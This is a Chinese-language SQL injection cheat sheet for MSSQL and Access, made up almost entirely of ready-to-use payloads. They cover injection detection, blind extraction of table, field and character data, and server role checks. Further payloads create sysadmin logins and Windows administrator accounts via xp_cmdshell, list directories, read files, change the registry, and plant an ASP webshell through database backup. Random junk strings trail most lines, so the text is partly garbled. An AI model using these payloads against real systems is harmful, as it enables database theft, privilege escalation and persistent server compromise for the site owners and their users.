1.判断是否有注入;and 1=1 ;and 1=2 7!QXh;u
2.初步判断是否是mssql ;and user>0 H f mMf^c
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3.注入参数是字符'and [查询条件] and ''=' }Us$y0W\
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' x`|tT%q@l
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5.判断数据库系统 u C8T!z
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;and (select count(*) from sysobjects)>0 mssql W&re;?Z{ke
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;and (select count(*) from msysobjects)>0 access $4~}_phi
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 8LM1oal}
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Oj|p`Dzh
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 TXOW/{B
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9.(1)猜字段的ascii值(access) EQ`t:jc{
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 DO,&Foh\
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(2)猜字段的ascii值(mssql) >mDubP
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ob5nk^y
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10.测试权限结构(mssql) GpQF* x
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- %IXW|mi
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- $U.'K!B
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- r%mTOLef
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- G+^$JN=
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- hBSJEP
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 4W-+k
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;and 1=(select IS_MEMBER('db_owner'));-- "@?kxRn!
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11.添加mssql和系统的帐户 [jn;|
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;exec master.dbo.sp_addlogin username;-- Sg~A'dG
;exec master.dbo.sp_password null,username,password;-- M@@O50~
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- _Vf|F
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;exec master.dbo.xp_cmdshell 'net user username password 7Cp_41._
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- nL20}"$E
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 9+Hb`
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 0lh6b3tdP
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12.(1)遍历目录 eyjUNHeh#
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;create table dirs(paths varchar(100), id int) p+D6Z'B
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;insert dirs exec master.dbo.xp_dirtree 'c:\' %Z0S"B 3
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;and (select top 1 paths from dirs)>0 BtApl)q#
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) shvcc
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(2)遍历目录 fsuvg jlE
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- -s "$I:v
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 xmx;tq
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 6+#cyKj
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 $zi\ /Yw
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 0 d]G
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13.mssql中的存储过程 BQg]$Tr?
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xp_regenumvalues 注册表根键, 子键 HNT8~s.2
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 RyD$4jk+T"
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xp_regread 根键,子键,键值名 Isb^~c_P
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 %;?3A#
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xp_regwrite 根键,子键, 值名, 值类型, 值 E=trJge
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ZfikNQU9r
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 RtL'fd
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xp_regdeletevalue 根键,子键,值名 nP31jm+A
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 X\RTHlw']
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 "ukbqdKD
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14.mssql的backup创建webshell o#6}?g.
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use model oFp&j@`k8j
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create table cmd(str image); ztpb/9J9
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insert into cmd(str) values (''); k({8C`&tK/
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backup database model to disk='c:\l.asp'; UC@ "<$'C
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15.mssql内置函数
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;and (select @@version)>0 获得Windows的版本号 1[]cMyV
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa ~]W8NaQB(
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;and (select user_name())>0 爆当前系统的连接用户 M czWg
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;and (select db_name())>0 得到当前连接的数据库 m
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16.简洁的webshell .YRSd
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use model jFfki.H
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create table cmd(str image); M-gjS6c\3
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insert into cmd(str) values (''); u'p J9>sC
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backup database model to disk='g:\wwwtest\l.asp';